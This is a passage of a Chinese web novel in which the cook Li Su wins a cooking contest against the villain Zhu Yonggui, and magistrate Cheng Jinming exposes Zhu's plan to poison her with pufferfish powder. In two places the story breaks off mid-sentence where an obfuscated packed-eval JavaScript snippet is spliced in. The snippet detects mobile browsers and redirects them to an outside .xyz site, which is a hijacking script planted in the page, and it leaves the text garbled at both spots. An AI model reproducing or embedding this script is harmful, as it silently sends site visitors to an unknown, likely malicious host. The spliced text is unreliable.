朱平旗茫然抬头,脸上还挂着泪痕和惊惧:“叔父…?备礼?给,给谁?” 朱永贵的目光穿透账房紧闭的门窗,仿佛已经看到了城东市口那块尚未悬挂、却已声名赫赫的“素心天成”匾额,他舔了舔嘴唇,一字一顿,每个字都淬着阴冷的毒: “去请李掌柜,过府一叙。” “就说,老夫刚归家,听闻她厨艺精湛,铺子红火,还得了程大人的墨宝,心中甚为佩服,”他顿了顿,那狰狞的笑容加深,露出森白的牙齿。 “老夫这半辈子,就爱个‘吃’字,想跟她李掌柜,七日后在东街好好切磋切磋这灶台上的功夫。” “请她务必赏光。” 听着这话,朱平旗好像明白过点什么,他避开朱永贵的目光深深低下头去,再不敢说一句话。 而另一边的河堤,夕阳正将将沉入远山,最后一抹余晖将河滩染成金红。 收工的号子响起,民夫们拖着疲惫却满足的身躯陆续散去,李素这边也终于熄了灶火,开始清点收拾。 “素姐,都收拾妥当了,”根生抹着汗过来回话。 李素点点头,目光扫过空旷下来的河滩,最后落在不远处那个依旧伫立的身影上。 程锦明正低声与监工的衙役说着什么,侧脸在暮色中显得愈发清癯。 她解下围裙擦了擦手,从温着的灶上舀出一碗早已单独留好的汤,汤色清亮,冬瓜软糯,飘着几粒枸杞和切得极细的姜丝——是专门熬的驱寒暖胃汤,于是她端着碗,踩着松软的泥土一步步走向土堆。 “程大人,”李素的声音不高,在暮色四合的河滩上却清晰可闻。 程锦明闻声回头,眼底的倦色在看到她和那碗汤时化开一丝暖意:“是李姑娘啊,今日辛苦了。” “大人更辛苦,”李素将碗递过去,“趁热喝点驱驱寒气,河滩风硬,你病体初愈不宜久站。” 程锦明没有推辞,他接过碗,指尖相触的瞬间,李素感觉到他手指的冰凉,于是她的眉头几不可察地蹙了一下。 程锦明毫无觉察地低头喝了一口,温热的汤水滑入喉间,带着姜的微辛和冬瓜的清甜。 “劳你费心,”他的声音因汤水的滋润清润了些许,而后程锦明将目光落在她因劳作而微微泛红的脸颊和略显疲惫却依旧明亮的眼睛上,心头涌动着难以言喻的情绪。 这一个来月,她几乎掏空了铺子和自己,只为支撑起这几百人的口腹之安,支撑起他摇摇欲坠的治水大业,这份情谊,早已超出了最初的报恩或合作。 “分内之事,”李素垂眸避开了他过于专注的目光,看向远处逐渐隐没在夜色中的堤坝轮廓淡淡道:“坝基进展如何?” “虽有波折,总算重回正轨,多亏了你这边稳住了人心,”程锦明也看向堤坝,语气沉凝,“只是时间依旧紧迫,朝廷催得紧是一码事,入冬前若不能合拢主体,明年汛期……” 后面的话他没说下去,但忧虑已明明白白写在眼底。 李素沉默片刻,道:“食材还够支撑几日,我已让爹明日再去采买一批,大人只需专心调度工程,就是之后,饭食这边也有我张罗,”她的声音不大,却是磐石般的笃定。 程锦明深深看了她一眼,千言万语堵在胸口,最终只化作一句沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078304|178134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甸甸的:“多谢。” 还未等李素客气几句,县衙的方向突然匆匆跑来一个衙役,程锦明眯着眼睛看一会儿,发现竟是王顺。 他很快跑到近前,气息未定,脸上却带着一丝古怪和犹豫。 “大人!李娘子!”王顺喘着气行礼。 “何事?”程锦明问。 “溢香楼朱永贵,”王顺顿了一下,紧接着从怀里掏出一个做工考究、散发着淡淡楠木香的拜帖,恭敬地递上道:“派人送来这个。” 程锦明和李素对视一眼,均在对方眼中看到了警惕,程锦明接过拜帖打开,李素也凑近了些看。 帖子上是朱永贵那熟悉的、带着几分刻意圆融的笔迹: 李掌柜台鉴: 鄙人朱永贵,蒙圣恩浩荡,刑期已满,重归故里。惊闻李掌柜巾帼不让须眉,以庖厨济义役,高义薄云,令鄙人汗颜。昔日多有误会龃龉,实乃鄙人昏聩。今特备薄酒,欲于三日后在溢香楼设“和头宴”,一则向二位赔罪,二则久闻李掌柜素斋手艺冠绝庆阳,鄙人楼中亦有几位粗通厨艺的师傅,斗胆恳请李掌柜拨冗莅临,切磋交流,共研庖厨之道,化干戈为玉帛,亦为庆阳父老添一桩美谈。万望赏光。 落款是朱永贵的大名,还盖着鲜红的私印。 空气仿佛凝滞了一瞬。河滩的风吹过,带着深秋的凉意。 “呵,”程锦明发出一声极轻的冷笑,指尖划过“切磋交流”、“化干戈为玉帛”那几个字,眼神锐利如冰,“黄鼠狼给鸡拜年,他出狱第一件事不是整顿他那快烂透的酒楼,倒是惦记着‘切磋’厨艺?” 他看向李素,语气带着不容置疑的保护,“不必理会,此人阴险狡诈,宴无好宴。” 李素的目光却久久停留在帖子上,朱永贵这招不可谓不高明。姿态放得极低,口口声声都是赔罪、交流、美谈,将“切磋”摆在了明面上。 若她不去,倒显得她心胸狭窄,惧怕挑战,甚至坐实了昔日恩怨是她斤斤计较,尤其在这她为修坝民夫做饭、名声正隆的时刻,朱永贵此举无疑是想将她架在火上烤。 “大人说得是,宴无好宴,”李素缓缓开口,“但,他这帖子是冲着我的招牌来的,他溢香楼如今门可罗雀,想借我这块‘冠绝庆阳’的招牌,踩着我扬他的名,给他那破楼招魂呢。” 她抬起头,迎上程锦明担忧的目光,嘴角勾起一抹带着冷意的弧度:“他想切磋,我奉陪便是,正好让全庆阳的人都看看,他朱家的楼,除了阴私算计和下作手段,还有什么拿得出手的东西。” “李素!”程锦明心头一紧,语气加重,“朱永贵此人毫无底线,他的党羽都敢下毒害民夫,他本人焉知不会在切磋中动手脚?明枪易躲暗箭难防!此事太过凶险,我绝不同意你去!” “大人,”李素看着他因激动和担忧而更加苍白的脸色,声音放柔了些,“我知您担心,但躲不是办法,他今日能下帖切磋,明日就能散布谣言说我徒有虚名,畏战怯懦,我的铺子能立起来,靠的是货真价实的手艺和乡亲们的信任,这招牌,我得自己护着。” 她顿了顿,“至于暗箭,我会小心,食材我自带,器皿我检查,众目睽睽之下切磋过程公开透明,他若敢动手脚,那就是自寻死路。况且……”她看着程锦明,意有所指,“不是还有大人您在吗?您这位根基渐稳的县令,总不会看着他治下的子民,在您的眼皮子底下被人构陷吧?” 这话带着一丝难得的俏皮和信赖,瞬间冲淡了凝重的气氛,程锦明被她眼中那份信任的光芒晃了一下,他看着她眼底那份不容置疑的决心和狡黠的自信,忽然意识到,眼前这个女子早已不是当初那个小摊贩了。 她是能与他并肩,甚至在某些方面比他更坚韧、更通透的存在。 程锦明无奈地叹了口气,妥协中带着纵容:“你总是这般有主意,”他揉了揉隐隐作痛的额角。 李素朝他笑了笑,又用王顺随身带的纸笔随手写了几个字递回去,吩咐王顺送到溢香楼。 用他的人都用这么顺手了...... 看着王顺询问的目光,程锦明幅度极小的点了点头,心里默默盘算着该怎么防朱永贵。 12. 比试 烛火摇曳,映照着朱永贵那张浮肿阴鸷的脸,他正慢条斯理地用一方丝帕擦拭着一个精致的青瓷小瓶。 朱平旗垂手站在一旁大气不敢出,他看着那瓶子小心道:“叔父,这会不会太……” “太什么?” 朱永贵头也没抬,声音粘腻冰冷,“无毒不丈夫,她李素断我财路,毁我名声,不除了她我朱永贵如何在庆阳立足?如何重振溢香楼?” 他将小瓶举到烛光下,瓶内装着一点无色无味的粉末。 “河豚之白子剧毒无比,却也是无上美味,处理得当,是珍馐,处理不当……便是穿肠毒药。” 朱永贵的嘴角勾起一抹残忍的笑意,“三日后切磋,最后一道压轴大菜便是这‘清炖河豚白子’,我会让她亲自处理,亲自烹制……然后,亲自品尝。” 朱平旗吓得腿一软:“可众目睽睽之下……” “众目睽睽?” 朱永贵嗤笑一声,“切磋厨艺,失手误食处理不当的河豚。” 他顿了顿,眼中闪烁着精明的算计,“何来众目睽睽?” 朱永贵将小瓶小心地收入一个特制的锦盒中锁好。 密室里只剩下烛火噼啪的轻响和朱平旗粗重的喘息。 七日后,东街。 朱永贵包下了整条街面最气派的醉仙台,张灯结彩,红毡铺地。 巨大的“切磋”横幅高悬在楼前,楼下人头攒动,被这场“庆阳厨艺巅峰对决”吸引来的百姓挤得水泄不通,议论声嗡嗡作响,话语间好奇与兴奋交织。 而醉仙台后厨却是截然不同的两个世界。 朱家这边灶火熊熊,几个膀大腰圆的厨子吆五喝六,案板上堆满了山珍海味,鸡鸭鱼肉俱全,一派财大气粗的喧嚣。 朱永贵一身簇新绸衫背着手在灶台间踱步,三角眼不时瞟向对面角落,嘴角噙着一丝不易察觉的冷笑。 李素这边只有临时砌起的两口小灶,显得异常冷清。 她带来的食材被整齐地码放在几个竹筐里,胖婶和根生正蹲在灶前生火,脸上带着显而易见的紧张。 李素自己则系着那条洗得发白的粗布围裙,袖子高高挽起露出线条利落的小臂,正凝神检查着筐里的东西。 手指拂过筐底,她的眉头几不可察地蹙了一下,触感不对。 昨日用山泉水泡发的几大包上等香菇和木耳份量明显少了许多,尤其是那几捆鲜脆的冬笋尖竟不翼而飞,取而代之的是几根蔫头耷脑、一看便知是挑剩下的次品。 “素姐……”根生也发现了,声音发颤,带着愤怒和担忧。 李素抬手止住了他的话。 她抬眼,目光平静地穿过喧闹的灶台落在对面朱永贵那张故作关切的胖脸上。 朱永贵正端着茶盏,见状遥遥朝她这边举了举,嘴角的弧度带着毫不掩饰的恶意。 胖婶气得直咬牙,低声道:“这杀千刀的老扒皮!净使这些下三滥的招数!咱还比吗?” 李素没说话,只是垂下眼睑,指尖轻轻捻过筐中仅存的那一小撮饱满厚实的香菇伞盖。 那深褐色的菌褶纹理清晰,她的目光又扫过旁边一筐雪白的绿豆粉皮,薄如蝉翼,在光线下微微透亮。 她嘴角极轻微地向上弯了一下。 “比,怎么不比?” 论做饭这世上还有能难倒她李素的?不过几息,李素就想到了解决之法。 “根生把剩下的香菇挑出来洗净,要伞盖厚实、菌褶密实的,胖婶生火烧一锅滚水,把粉皮泡上。” 她不再看对面,而是转身走向案板将那柄用得油亮的菜刀已握在手中,案板上仅有的几样食材被她重新归置:香菇、粉皮、几块老豆腐、一小把翠绿的小葱、几片鲜姜。 “李丫头,”朱永贵这会儿踱着方步,腆着肚子晃了过来,声音洪亮得盖过了锅勺声。 “这切磋时辰可快到了,你这边…啧啧,看着可有点寒碜啊?要是实在凑不出能拿出手的东西,就跟老夫说一声,我让后厨匀你点?省得待会儿在乡亲父老面前下不来台嘛!” 他拖长了调子,眼神扫过李素案板上那几样寡淡的食材,满是奚落。 周围的朱家厨子发出一阵压抑的哄笑。 李素头也没抬专注于手中的香菇,刀尖贴着菌柄内侧,沿着伞盖边缘流畅地走了一圈,很快,一个边缘圆润、形似小碟的厚实香菇盖便被完整地削了下来。 她动作不停,又在菇盖内侧极快地剜出几道交错的、模拟甲鱼背壳纹路的浅痕。 “朱掌柜好意心领了。” 李素声音平淡无波,“食材贵精不贵多,我李娘子素斋起家靠的就是化凡为奇的本事。” 朱永贵听闻不以为意的冷哼一声,转身走了。 李素不受他影响,说话间她已将削好的几个香菇“甲鱼头”放入粗陶碗中,淋上少许酱油和素高汤。 胖婶已将粉皮泡软,捞在细竹篾上沥水,李素取过一张铺在案板上,手指灵巧地将其折叠、卷曲,再用细棉线轻轻捆扎定型,片刻后,那柔韧的粉皮竟在她手中变成了数段边缘微微起伏、酷似甲鱼裙边的“玉带”。 根生看得目瞪口呆,胖婶也忘了生气屏息看着。 李素另起一小锅倒入少许素油烧热,投入拍松的姜块、葱段爆香,一股辛香随着她的动作瞬间腾起,驱散了周遭的油腻。 她将沥干水的粉皮“裙边”滑入锅中快速翻炒几下,淋入小半碗素高汤,又加了一小勺自酿的豆酱和少许盐,汤汁翻滚,迅速被柔韧的粉皮吸收,呈现出诱人的酱色。 另一口灶上,胖婶守着的小砂锅开始咕嘟冒泡,李素将浸好的香菇“甲鱼头”连同汤汁一起倒入砂锅,又放入几块切成方丁、煎得两面金黄的老豆腐充当“肉块”,注入滚烫的素高汤盖上锅盖文火慢煨。 时间一点点流逝,醉仙台前受邀的乡绅和朱家特意安排的“食客”们早已落座,谈笑声隐约传来。 朱永贵背着手踱回自家灶台,看着厨子们将烹制好的“八宝葫芦鸭”、“清蒸鲥鱼”等大菜装盘,脸上志得意满。 他眼角余光瞥向李素那边,那口小砂锅依旧安安静静地煨着,灶火微弱,几乎没什么动静,嘴角的冷笑更深了。 终于,司仪高亢的声音穿透喧闹:“吉时已到——请双方呈上切磋佳肴!” 朱家这边,一盘盘色香味俱全的珍馐流水般端出,香气霸道引来一片惊叹和奉承。 轮到李素,胖婶只小心翼翼地捧起那口不起眼的粗陶砂锅。 锅盖揭开—— 在众人好奇的目光中,一股混合着菌菇特有的醇厚鲜香、酱汁的浓郁咸鲜以及一丝清雅豆香的奇异芳香,如同无形的浪瞬间弥漫了整个大堂,霸道地盖过了所有鱼肉的荤腥之气。 热气氤氲中,只见深褐色的汤汁浓稠油亮,几块酱色的“甲鱼头”半浮半沉,褶皱纹理清晰可辨,边缘微微翘起,形态逼真。 旁边环绕着数段吸饱了浓汁、呈现出琥珀般光泽的“裙边”,颤巍巍,软糯糯的,汤汁里还沉着几块金黄诱人的豆腐“肉块”,几点翠绿的葱花点缀其间。 “这是甲鱼羹?”有人兴奋惊呼。 “不可能!李娘子做的是素斋,哪来的甲鱼?” “可这味道,这模样…?” 人群骚动起来,伸长了脖子看着那锅汤羹,浓郁的鲜香直往人鼻子里钻,勾得腹中馋虫蠢蠢欲动。 朱永贵见状脸上的得意瞬间凝固,他死死盯着那锅汤,像被迎面打了一拳血色尽褪。 这贱人!竟真让她用这些烂香菇破粉皮弄出了这等东西! 胖婶和根生将砂锅里的“羹”分盛入一只只白瓷小碗,李素亲自端起一碗,走到作为主评判的一位德高望重的老举人面前。 “老先生,诸位乡亲,”李素声音清朗,压下了满堂的喧哗,“此乃‘素甲鱼羹’,请品鉴。” 老举人将信将疑地拿起调羹,汤勺舀起,那深褐浓稠的汤汁拉出细丝,挂壁不滴,他小心地吹了吹送入口中。 汤汁滚烫滑入喉间,一股极致的鲜味就瞬间在口腔里爆炸开来,豆酱的咸香和素高汤清甜完美地融合在一起,霸道地冲击着味蕾,竟比寻常的甲鱼羹更胜一筹。 他又迫不及待地舀起一块“甲鱼头”,牙齿轻轻咬下,外层是香菇特有的柔韧筋道,内里却吸饱了汤汁,软糯鲜香,独特的咀嚼感竟真与甲鱼裙边边缘的胶质有几分神似。 “好一个‘素甲鱼羹’!”老举人咽下一口便抬头连声赞叹,“滋味醇厚绵长,更胜真味!李掌柜真乃神乎其技!” 此话一出满堂哗然,李素在坊间本就名声极佳,好像一半为了赞叹一半为了造势一样,一时间惊叹声、喝彩声瞬间席卷了整个大堂。 先前对朱家菜肴的期待也被这碗“素甲鱼羹”的光芒彻底掩盖,纵朱家请的“托”再怎么对着朱家的菜生搬硬套也无济于事。 百姓们争先恐后地涌向分食处都想尝尝这“假甲鱼”的滋味,溢香楼精心烹制的珍馐自然而然的就被冷落在了一旁。 朱永贵站在一片赞誉李素的声浪中,脸色由白转青,再由青转黑,如同打翻了染缸。 他精心设计的陷阱非但没能让李素出丑,反而成了她技惊四座、光芒万丈的踏脚石!那满堂的喝彩像无数个耳光狠狠抽在他脸上,抽得他头晕目眩,心口绞痛。 “叔父!”朱平旗不知何时挤到他身边,声音带着哭腔和极度的恐惧,“完了,全完了,这下我们楼……” “闭嘴!”朱永贵狠狠瞪了朱平旗一眼,额角青筋暴跳,他浑浊的眼中翻腾着晦涩的光。 他不能输,绝不能!李素必须死! 他还有最后一张牌,一张致命的牌—— 趁着所有人的注意力都被那锅“素甲鱼羹”和李素吸引,朱永贵悄无声息地退入通往厨房的侧廊阴影里,飞快地从宽大的袖袋中摸出那个特制的锦盒。 他打开锁扣,里面赫然躺着那个精致的青瓷小瓶,瓶内装着一点乳白色的河豚白子,不仅如此,他袖中暗袋里还藏着一点碾碎的河豚卵巢粉末——这才是真正的剧毒之源,只需指甲盖那么一点就能毒死一个人。 朱永贵阴鸷的目光死死锁住不远处灶台旁,只见李素带来盛放剩余羹汤的那只粗陶大钵。 看着李素忙碌的身影,他的计划却改变了:既然“素甲鱼羹”已成焦点,何不将计就计? 他飞快地将那点卵巢粉末小心地抹在青瓷小瓶的瓶口内侧,然后深吸一口气,脸上堆起一个夸张的、带着“钦佩”的笑容,端着那个锦盒大步流星地走向人群中央的李素。 “李掌柜!朱某佩服!真是化腐朽为神奇!” 朱永贵的声音洪亮,盖过了喧哗,成功吸引了所有人的目光。 他将锦盒高举,大声道:“朱某今日也带来一样稀罕物,本想作为切磋压轴,与李掌柜一较高下!此乃极品河豚白子,天下至鲜!李某斗胆,想请李掌柜当众展露绝技,将这至鲜至险之物,化为盘中珍馐,让我等开开眼界!如何?” 他目光灼灼地盯着李素,里面是毫不掩饰的挑衅和恶毒的期待,他赌李素不敢当众拒绝,更赌她为了名声会硬着头皮接下这终极考验。 只要她碰了这瓶口沾上那点粉末,再亲手处理这白子,待会儿品尝时,便是她的死期! 众目睽睽之下,她自己处理不当误食中毒,谁能怪到他朱永贵头上? 人群瞬间安静下来,目光都聚焦在那个锦盒和朱永贵手中的青瓷小瓶上。 河豚白子那可是要命的东西!一时间惊叹、好奇、担忧的目光都交织在一处。 李素心头猛地一沉,她几乎瞬间明白了对方的毒计—— 这老贼是铁了心要她的命,还要让她“死得其所”。 朱永贵心机火燎的要成事,也不等李素说什么就快步过去就在将瓶子硬塞给她,李素躲闪不及,就在她的手指几乎要触碰到那个青瓷小瓶的瓶身时,一个清朗沉稳的声音如同玉磬猝然响起,打破了这紧绷的寂静—— “且慢!” 众人循声望去,只见程锦明不知何时已静静立于人群之外,一身靛青官袍衬得他身姿挺拔如松。 他脸上没有任何表情,唯有一双眼睛深如寒潭,穿透喧闹牢牢钉在朱永贵和他手中的锦盒上。 程锦明缓步上前,人群自动分开一条道路。 他步履从容,却带着不容置疑的威信,每一步都像踩在朱永贵的心尖上。 “朱掌柜,切磋厨艺,本为交流技艺,弘扬美食,河豚虽鲜,然其肝、卵、血皆含剧毒,稍有不慎,便是人命关天,如此凶险之物,置于这大庭广众、喧闹切磋之中,岂是妥当之举?” 朱永贵脸上的笑容僵住了,片刻,他又故作从容道:“程大人多虑了,朱某既敢拿出自有把握,这白子已由经验老道的师傅初步处理过,只需李掌柜巧手烹制即可,朱某也是一片诚心,想让乡亲们见识见识这天下至味……” “经验老道的师傅?” 程锦明已走到近前,目光幽幽扫过朱永贵略显慌乱的脸,“那敢问朱掌柜,是哪位师傅?可否请出来当众验看这河豚白子的处理是否万无一失?人命关天可容不得半点闪失。” “这,这…”朱永贵一时语塞。他哪有什么经验老道的师傅?这毒计本就是他孤注一掷。 程锦明不再看他,而是转向李素,语气温和却带着提醒:“李掌柜,河豚之险想必你也深知。此物非比寻常,纵有十分把握也需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100989|178134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在绝对清净稳妥之地处理,今日此地人多手杂,绝非处理此等剧毒之物的场合,朱掌柜此请,未免太过强人所难,也置在场诸位安危于险地。” 他的话既是为李素解围,更是拐弯抹角地点明朱永贵此举的歹毒用心——将剧毒之物置于李素,置于乡亲们,就是奔着人命去的! 人群闻言顿时骚动起来,看向朱永贵的眼神充满了怀疑和惊恐。 “对啊!河豚可是要人命的!” “朱扒皮安的什么心?想害死李娘子吗?” “还让我们看?万一溅出来一点……” 朱永贵被这突如其来的质问和人群的质疑逼得方寸大乱,捏着锦盒的手下意识地一紧,手指无意识地抹过青瓷小瓶的瓶口——那正是他涂抹了河豚卵巢粉末的地方。 他心中焦急顾不上其他,因此也就没注意到,就在他手指抹过瓶口的瞬间,程锦明身后的周青突然猎豹般的动了。 而周青并非扑向朱永贵,却是闪电般从怀中掏出一块厚实的湿布精准地捂住了朱永贵那只拿着瓶子的手。 “朱掌柜小心!”周青的声音洪亮,带着虚情假意的关切,“河豚之物沾手亦险!卑职为您擦拭!” 他动作极快,力道巧妙地控制着朱永贵的手腕,硬生生用湿布死死裹住那只手和青瓷小瓶,不给朱永贵任何挣脱或毁灭证据的机会。 “你,你干什么?!”朱永贵又惊又怒,奋力挣扎,但周青的手如同铁钳一般捏的他动不了一步。 程锦明这会儿上前一步,目光戏谑的看着朱永贵:“周青,护好朱掌柜,更要护好那至鲜至险之物,莫要让一丝一毫的‘鲜味’沾染了无辜之人!” 他特意加重了“鲜味”二字。 随即程锦明转向惊疑不定的众人,声音沉凝道:“诸位乡亲!河豚之毒非同小可!为确保万全,本官需即刻查验此物!” 他又转头对着周青下令:“周青,当众查验锦盒与小瓶!仔细些,莫要遗漏任何‘不该有’的东西!” “是!”周青应声,在众目睽睽之下,他用湿布垫着小心地打开了锦盒,取出了那个青瓷小瓶。 他并未立刻打开瓶塞查看里面的白子,而是将瓶身和瓶口外侧对着光线仔细查看,并用另一块干净的白布轻轻擦拭瓶口内侧。 很快,周青将擦拭瓶口内侧的白布举起。 只见那原本洁白的布面上,赫然沾上了一些细微的、几乎难以察觉的淡黄色粉末! 周青又早有准备一般从怀中取出一个小小的油纸包,摊开几粒碾碎的米粒,米粒间密密麻麻爬着几只小虫,他将沾了粉末的白布一角靠近米粒,只见几只爬在米粒上的小虫瞬间僵直不动了。 “大人!”周青见状大喊程锦明,声音带着震惊和愤怒,他高举白布和僵死的米虫,对着程锦明实则是说给乡亲们道:“瓶口内侧有不明剧毒粉末!遇活物立毙!” “轰——!” 此话如同平地惊雷,整个大堂瞬间炸开了锅! “毒!真的有毒!” “天杀的朱扒皮!他想毒死李娘子!” “他刚才还想让李娘子亲手碰这瓶子!” “报官!抓住他!” 人群的愤怒如同火山般群情激愤地涌向朱永贵,无数道目光如同利箭几乎要将他射穿。 朱永贵面如死灰,看着周青手中那块致命的布和僵死的米虫,浑身抖得如同筛糠。 他这才反应过来一切都完了,程锦明根本就不是偶然出现,他是早就盯上了自己,连自己下毒的方式和位置都一清二楚。 “不,不是我…是那瓶子…”他徒劳地狡辩,但声音瞬间被淹没在愤怒的声浪中,朱平旗早不知跑去了哪里,朱永贵一时气急,双腿一软直接烂泥般瘫倒在地。 一片混乱的声讨中,程锦明上前一步再次挡在了李素身前,用挺拔的背影为她隔开了汹涌的怒潮。 李素看着眼前细瘦挺拔的背影,又看向瘫倒在地的朱永贵,心中那根紧绷的弦彻底松开,唯余一片冰冷的了然和后怕。 若非程锦明…… 她看向那瓶口带毒的青瓷瓶,指尖微微发凉。 “肃静!”程锦明清朗的声音瞬间压下了满堂的喧哗。 他从怀中取出一方令牌高高举起,令牌在灯下闪烁着冰冷的金属光泽,上面“庆阳县令”四个篆字清晰夺目。 “庆阳县令程锦明在此!” 他目光扫过激愤的人群,最终落在瘫软如泥的朱永贵身上,声音沉凝,字字千钧。 “朱永贵,前罪未清,今又犯科!栽赃陷害不成,竟丧心病狂借切磋之名,以剧毒河豚为饵,意图谋害李素和众位乡亲!人赃并获,罪证确凿!依律——” 他顿了顿,每一个字都带着冰冷的决断,砸在死寂的大堂中: “着即收监,严惩不贷!剥夺其经商资格!” “周青!拿下此獠,押入大牢!涉案毒物仔细封存,等呈堂证供!” “是!”周青干脆地带着两名衙役上前一把将烂泥般的朱永贵从地上拖起,那致命的锦盒和青瓷小瓶也被周青用布层层包裹小心收起。 朱永贵被拖走时喉咙里发出绝望的呜咽,浑浊的老眼最后怨毒地剜向李素的方向,却只看到程锦明沉稳的背影和李素沉静的侧脸。 喧嚣散去,醉仙楼内一片狼藉,只余食物香气与劫后余生的寂静。 程锦明转过身,脸上冰霜已然褪去,眉宇间带着一丝疲惫看向李素:“可有受惊?” 李素摇摇头,面色沉沉地看着周青收走证物的方向:“谢过程大人,劳烦大人亲自跑一趟,若非大人洞悉奸谋,及时出手……” 若非他看穿朱永贵会用河豚下毒,若非他连毒藏何处都了如指掌…… 程锦明目光扫过地上那只曾煨出“素甲鱼羹”的粗陶砂锅,又扫过她蹙眉纠结的神情,见状柔声打断她道:“朱永贵此人歹毒,为达目的无所不用其极。” 他顿了顿,声音更温和,“不过现在已经没事了,朱平旗成不了大事,想必他们以后也烦不到你,至于今日,河堤那边,这些日子也是辛苦你了,我该多照应你的,姑娘不必挂心” “嗯......”李素垂眸,微不可闻的应了一声,她解下身上的粗布围裙抱在手里,指尖无意触到袖口一点微湿的痕迹,是素羹的汤汁,带着菌鲜气息。 程锦明站在她身侧半步之遥,晚风卷起他靛青的官袍下摆带来湿润的泥土气,混着未散的素羹鲜香无声萦绕。 他看着李素低垂的眉眼和专注叠衣的指尖,喉结微动,终是静默移开视线,投向门外深沉的夜。 灯火将两人身影投在地上,一挺拔,一清瘦,于喧嚣散尽的空旷里,无声靠近,又恪守着分寸。 13. 骤雨 秋雨又落了下来。 起初只是细密的银线打在庆阳县衙后宅小院的青瓦上,发出沙沙的轻响,渐渐雨势大了些,敲在檐下那两盏刚熄了不久的红灯笼上,发出沉闷的噗噗声,水珠顺着褪色的穗子滚落,在石阶上砸出小小的水花。 程锦明立在廊下,望着院中那几竿被雨水洗得愈发青翠的修竹。 深秋的寒意裹着湿润的水汽扑面而来,他下意识拢了拢身上半旧的靛青直裰,同李素一起在河边忙碌数日,大坝主体总算在入冬前抢着合了拢,笨重的横卧在城外浑浊的河滩上。 紧绷的弦虽骤然松弛,但随之涌上的除了卸下千斤重担的虚脱,还有一种难以言喻的忧虑。 这雨来得太不是时候,虽说坝基已固,但连日阴雨让他实在不知上游水势如何,新筑的堤坝能否扛得住今冬明春。 程锦明微微叹了口气,岭南水患的惨状如同浸透了血的噩梦从未真正从他心底褪去。 “大人,李娘子到了,”周青的声音在身后响起,沉稳地压过了雨声打断了他的思绪。 程锦明闻言回身,只见李素撑着一柄半旧的油纸伞,提着个食盒,正沿着湿漉漉的回廊走来。 她今日换了身浆洗得格外干净的细布袄裙,颜色是秋日里常见的靛蓝,衬得人素净利落。 伞沿压得低,遮住了大半眉眼,只露出线条清晰的下颌和抿着的唇,临到廊下,她收了伞靠在廊柱旁,伞尖滴下的水珠很快在青石板上洇开一小片深色。 “程大人,”她抬头,微微屈身。 “李姑娘不必多礼,”程锦明虚扶了一下,引她走向小厨房旁的小方桌。 桌上已摆了几样简单的菜蔬,最显眼的是当中一只冒着袅袅热气的粗陶砂锅,盖子未揭,但豆制品特有醇香气息已丝丝缕缕地逸散出来,混合着姜丝和菌菇的鲜甜,在这微凉的雨气里熨帖着人的肺腑。 “姑娘请坐,”程锦明指了指对面的竹椅,“不是什么正经宴席,粗茶淡饭聊表谢意,这几个月河堤上几百口人的饭食全赖姑娘支撑。” 他的声音带着一丝不易察觉的沙哑,透着一股卸下重负后的疲惫。 李素依言坐下,她目光扫过桌上:除了那个砂锅,一碟清炒的脆嫩时蔬,一碟切得酱黄瓜,还有一盘实打实的酱鸭,金红油亮的鸭肉整齐码放,透着难得的肉香。 李素心头微微一动,这都是坊间相传京城时兴的菜式。 “大人言重了,”她收回目光,将自己带来的盒子打开,端出来一碟做好的醋溜藕排。 李素声音很轻,“分内之事,也是乡亲们信得过我的手艺。” 她顿了顿,抬眼又看向那口砂锅,“这是……素鸭锅?” “是,”程锦明被这醋溜藕排牵扯出些别样的回忆,因此唇角牵起一点极淡的笑意。 他亲自揭开了砂锅盖,更浓郁的香气随之扑面而来,只见乳白的浓汤在锅中微微翻滚,里面沉着切成厚片的素鸭,吸饱了汤汁显得饱满诱人,还有几块炖得软糯的冬瓜,几朵肥厚的香菇,几点翠绿的葱花浮在汤面。 “天凉,喝点热汤驱驱寒气,用的是你铺子里的素鸭,我让厨子加了菌子和冬瓜煨的,不知火候可对?” 李素看着那翻滚的热汤,白气氤氲,模糊了对面人的面容。 她拿起粗陶小碗,程锦明已执起木勺为她舀了大半碗,汤汁浓稠,素鸭沉在碗底,冬瓜剔透,香菇肥厚。 “大人费心了,闻着就极好,”她捧起碗笑了笑,暖意透过粗陶熨帖着微凉的指尖。 雨声淅沥,成了此刻唯一的背景音。 两人隔着方桌安静地吃着,程锦明吃得不多,似乎更专注于那碗素鸭汤,小口啜饮着,眉宇间那点因公务凝成的结在氤氲的热气里似乎也舒展了些许。 李素则细嚼慢咽,心思却难以全然落在食物上,眼角余光里,是程锦明搁在桌边的手指,修长,骨节分明,指甲修剪得干净,只是指腹和虎口处,新添了几道细小的划痕和薄茧,想是巡堤搬石时留下的。 他清减了许多,下颌的线条越发清晰,眼下的淡青挥之不去,一种混杂着敬佩与莫名酸涩的情绪,在她心底悄然弥漫开。 李素想了想放下筷子,轻声问:“坝算是立住了?” 程锦明听闻也搁下汤碗,目光投向廊外密织的雨帘,声音沉缓:“主体是合拢了,土石夯实,该加固的险段也加固了,只是……” 他顿了顿,指尖无意识地在粗粝的桌面上轻轻划过,“这雨下得久了些,上游的情形,驿报还没到,新坝初成,未经大汛考验,终究是悬着心。” 